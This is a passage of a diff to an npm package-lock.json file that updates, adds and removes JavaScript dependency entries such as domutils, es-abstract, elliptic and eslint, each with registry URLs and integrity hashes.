"node_modules/destroy": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", - "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", - "engines": { - "node": ">= 0.8", - "npm": "1.2.8000 || >= 1.4.16" - } - }, "node_modules/detect-browser": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/detect-browser/-/detect-browser-5.2.1.tgz", "integrity": "sha512-eAcRiEPTs7utXWPaAgu/OX1HRJpxW7xSHpw4LTDrGFaeWnJ37HRlqpUkKsDm0AoTbtrvHQhH+5U2Cd87EGhJTg==" }, + "node_modules/detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", + "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==", + "dev": true, + "optional": true, + "bin": { + "detect-libc": "bin/detect-libc.js" + }, + "engines": { + "node": ">=0.10" + } + }, "node_modules/detect-newline": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", @@ -6623,9 +6712,9 @@ } }, "node_modules/diff-sequences": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.0.0.tgz", - "integrity": "sha512-7Qe/zd1wxSDL4D/X/FPjOMB+ZMDt71W94KYaq05I2l0oQqgXgs7s4ftYYmV38gBSrPz2vcygxfs1xn0FT+rKNA==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", + "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", "dev": true, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -6651,39 +6740,16 @@ "resolved": "https://registry.npmjs.org/dijkstrajs/-/dijkstrajs-1.0.2.tgz", "integrity": "sha512-QV6PMaHTCNmKSeP6QoXhVTw9snc9VD8MulTT0Bd99Pacp4SS1cjcrYPgBPmibqKVtMJJfqC6XvOXgPMEEPH/fg==" }, - "node_modules/dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "dependencies": { - "path-type": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/doctrine": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", - "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", - "dev": true, - "dependencies": { - "esutils": "^2.0.2" - }, - "engines": { - "node": ">=6.0.0" - } - }, "node_modules/dom-serializer": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", - "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", "dev": true, + "license": "MIT", "dependencies": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" }, "funding": { "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" @@ -6704,27 +6770,17 @@ "type": "github", "url": "https://github.com/sponsors/fb55" } - ] - }, - "node_modules/domexception": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", - "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", - "dev": true, - "dependencies": { - "webidl-conversions": "^7.0.0" - }, - "engines": { - "node": ">=12" - } + ], + "license": "BSD-2-Clause" }, "node_modules/domhandler": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", - "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "domelementtype": "^2.2.0" + "domelementtype": "^2.3.0" }, "engines": { "node": ">= 4" @@ -6734,14 +6790,15 @@ } }, "node_modules/domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" }, "funding": { "url": "https://github.com/fb55/domutils?sponsor=1" @@ -6752,10 +6809,19 @@ "resolved": "https://registry.npmjs.org/dropzone/-/dropzone-5.9.3.tgz", "integrity": "sha512-Azk8kD/2/nJIuVPK+zQ9sjKMRIpRvNyqn9XwbBHNq+iNuSccbJS6hwm1Woy0pMST0erSo0u4j+KJaodndDk4vA==" }, - "node_modules/duplexer3": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.5.tgz", - "integrity": "sha512-1A8za6ws41LQgv9HrE/66jyC5yuSjQ3L/KOpFtoBilsAK2iA2wuS5rTt1OCzIvtS2V7nVmedsUU+DGRcjBmOYA==" + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } }, "node_modules/ecc-jsbn": { "version": "0.1.2", @@ -6766,20 +6832,17 @@ "safer-buffer": "^2.1.0" } }, - "node_modules/ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" - }, "node_modules/electron-to-chromium": { - "version": "1.4.211", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.211.tgz", - "integrity": "sha512-BZSbMpyFQU0KBJ1JG26XGeFI3i4op+qOYGxftmZXFZoHkhLgsSv4DHDJfl8ogII3hIuzGt51PaZ195OVu0yJ9A==" + "version": "1.5.194", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.194.tgz", + "integrity": "sha512-SdnWJwSUot04UR51I2oPD8kuP2VI37/CADR1OHsFOUzZIvfWJBO6q11k5P/uKNyTT3cdOsnyjkrZ+DDShqYqJA==", + "license": "ISC" }, "node_modules/elliptic": { - "version": "6.5.4", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", - "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "version": "6.6.1", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.6.1.tgz", + "integrity": "sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g==", + "license": "MIT", "dependencies": { "bn.js": "^4.11.9", "brorand": "^1.1.0", @@ -6796,9 +6859,9 @@ "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" }, "node_modules/emittery": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz", - "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==", + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", + "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", "dev": true, "engines": { "node": ">=12" @@ -6822,14 +6885,6 @@ "node": ">= 4" } }, - "node_modules/encodeurl": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", - "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/encoding": { "version": "0.1.13", "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", @@ -6840,31 +6895,10 @@ "iconv-lite": "^0.6.2" } }, - "node_modules/encoding/node_modules/iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "optional": true, - "peer": true, - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", - "dependencies": { - "once": "^1.4.0" - } - }, "node_modules/enhanced-resolve": { - "version": "5.10.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.10.0.tgz", - "integrity": "sha512-T0yTFjdpldGY8PmuXXR0PyQ1ufZpEGiHVrp7zHKB7jdR4qlmZHhONVM5AQOAWXuF/w3dnHbEQVrNptJgt7F+cQ==", + "version": "5.17.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", "dev": true, "dependencies": { "graceful-fs": "^4.2.4", @@ -6875,10 +6909,13 @@ } }, "node_modules/entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.4.0.tgz", + "integrity": "sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==", "dev": true, + "engines": { + "node": ">=0.12" + }, "funding": { "url": "https://github.com/fb55/entities?sponsor=1" } @@ -6888,16 +6925,14 @@ "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", "dev": true, - "optional": true, - "peer": true, "engines": { "node": ">=6" } }, "node_modules/envinfo": { - "version": "7.8.1", - "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", - "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "version": "7.14.0", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.14.0.tgz", + "integrity": "sha512-CO40UI41xDQzhLB1hWyqUKgFhs250pNcGbyGKe1l/e4FSaI/+YE4IMG76GDt0In67WLPACIITC+sOi08x4wIvg==", "dev": true, "bin": { "envinfo": "dist/cli.js" @@ -6906,14 +6941,6 @@ "node": ">=4" } }, - "node_modules/err-code": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", - "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", - "dev": true, - "optional": true, - "peer": true - }, "node_modules/errno": { "version": "0.1.8", "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", @@ -6935,30 +6962,66 @@ } }, "node_modules/es-abstract": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", - "integrity": "sha512-2vJ6tjA/UfqLm2MPs7jxVybLoB8i1t1Jd9R3kISld20sIxPcTbLuggQOUxeWeAvIUkduv/CfMjuh4WmiXr2v9w==", + "version": "1.24.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz", + "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==", + "dev": true, + "license": "MIT", "dependencies": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "get-symbol-description": "^1.0.0", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "internal-slot": "^1.0.3", - "is-callable": "^1.2.4", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.4", - "is-shared-array-buffer": "^1.0.1", - "is-string": "^1.0.7", - "is-weakref": "^1.0.1", - "object-inspect": "^1.11.0", + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.3.0", + "get-proto": "^1.0.1", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-negative-zero": "^2.0.3", + "is-regex": "^1.2.1", + "is-set": "^2.0.3", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.1", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.4", "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.1" + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.4", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "stop-iteration-iterator": "^1.1.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.19" }, "engines": { "node": ">= 0.4" @@ -6967,264 +7030,176 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/es-module-lexer": { - "version": "0.9.3", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", - "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==", - "dev": true - }, - "node_modules/es-to-primitive": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", - "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", - "dependencies": { - "is-callable": "^1.1.4", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.2" - }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", "engines": { "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/es5-ext": { - "version": "0.10.61", - "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.61.tgz", - "integrity": "sha512-yFhIqQAzu2Ca2I4SE2Au3rxVfmohU9Y7wqGR+s7+H7krk26NXhIRAZDgqd6xqjCEFUomDEA3/Bo/7fKmIkW1kA==", - "hasInstallScript": true, - "dependencies": { - "es6-iterator": "^2.0.3", - "es6-symbol": "^3.1.3", - "next-tick": "^1.1.0" - }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", "engines": { - "node": ">=0.10" - } - }, - "node_modules/es6-iterator": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", - "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", - "dependencies": { - "d": "1", - "es5-ext": "^0.10.35", - "es6-symbol": "^3.1.1" + "node": ">= 0.4" } }, - "node_modules/es6-object-assign": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", - "integrity": "sha1-wsNYJlYkfDnqEHyx5mUrb58kUjw=" - }, - "node_modules/es6-promise": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", - "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" + "node_modules/es-module-lexer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.2.1.tgz", + "integrity": "sha512-9978wrXM50Y4rTMmW5kXIC09ZdXQZqkE4mxhwkd8VbzsGkXGPgV4zWuqQJgCEzYngdo2dYDa0l8xhX4fkSwJSg==", + "dev": true }, - "node_modules/es6-symbol": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", - "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==", + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", "dependencies": { - "d": "^1.0.1", - "ext": "^1.1.2" - } - }, - "node_modules/escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" - }, - "node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "es-errors": "^1.3.0" + }, "engines": { - "node": ">=0.8.0" + "node": ">= 0.4" } }, - "node_modules/escodegen": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz", - "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==", + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", "dev": true, + "license": "MIT", "dependencies": { - "esprima": "^4.0.1", - "estraverse": "^5.2.0", - "esutils": "^2.0.2", - "optionator": "^0.8.1" - }, - "bin": { - "escodegen": "bin/escodegen.js", - "esgenerate": "bin/esgenerate.js" - }, - "engines": { - "node": ">=6.0" + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" }, - "optionalDependencies": { - "source-map": "~0.6.1" - } - }, - "node_modules/escodegen/node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, "engines": { - "node": ">=4.0" + "node": ">= 0.4" } }, - "node_modules/escodegen/node_modules/levn": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", - "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "node_modules/es-shim-unscopables": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", + "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", "dev": true, + "license": "MIT", "dependencies": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" + "hasown": "^2.0.2" }, "engines": { - "node": ">= 0.8.0" + "node": ">= 0.4" } }, - "node_modules/escodegen/node_modules/optionator": { - "version": "0.8.3", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", - "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "node_modules/es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", "dev": true, + "license": "MIT", "dependencies": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.6", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "word-wrap": "~1.2.3" + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" }, "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/escodegen/node_modules/prelude-ls": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", - "dev": true, - "engines": { - "node": ">= 0.8.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/escodegen/node_modules/type-check": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", - "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", - "dev": true, - "dependencies": { - "prelude-ls": "~1.1.2" - }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", "engines": { - "node": ">= 0.8.0" + "node": ">=6" } }, "node_modules/eslint": { - "version": "8.23.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.23.0.tgz", - "integrity": "sha512-pBG/XOn0MsJcKcTRLr27S5HpzQo4kLr+HjLQIyK4EiCsijDl/TB+h5uEuJU6bQ8Edvwz1XWOjpaP2qgnXGpTcA==", + "version": "9.30.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.30.1.tgz", + "integrity": "sha512-zmxXPNMOXmwm9E0yQLi5uqXHs7uq2UIiqEKo3Gq+3fwo1XrJ+hijAZImyF7hclW3E6oHz43Yk3RP8at6OTKflQ==", "dev": true, + "license": "MIT", "dependencies": { - "@eslint/eslintrc": "^1.3.1", - "@humanwhocodes/config-array": "^0.10.4", - "@humanwhocodes/gitignore-to-minimatch": "^1.0.2", + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.12.1", + "@eslint/config-array": "^0.21.0", + "@eslint/config-helpers": "^0.3.0", + "@eslint/core": "^0.14.0", + "@eslint/eslintrc": "^3.3.1", + "@eslint/js": "9.30.1", + "@eslint/plugin-kit": "^0.3.1", + "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", - "ajv": "^6.10.0", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "@types/json-schema": "^7.0.15", + "ajv": "^6.12.4", "chalk": "^4.0.0", - "cross-spawn": "^7.0.2", + "cross-spawn": "^7.0.6", "debug": "^4.3.2", - "doctrine": "^3.0.0", "escape-string-regexp": "^4.0.0", - "eslint-scope": "^7.1.1", - "eslint-utils": "^3.0.0", - "eslint-visitor-keys": "^3.3.0", 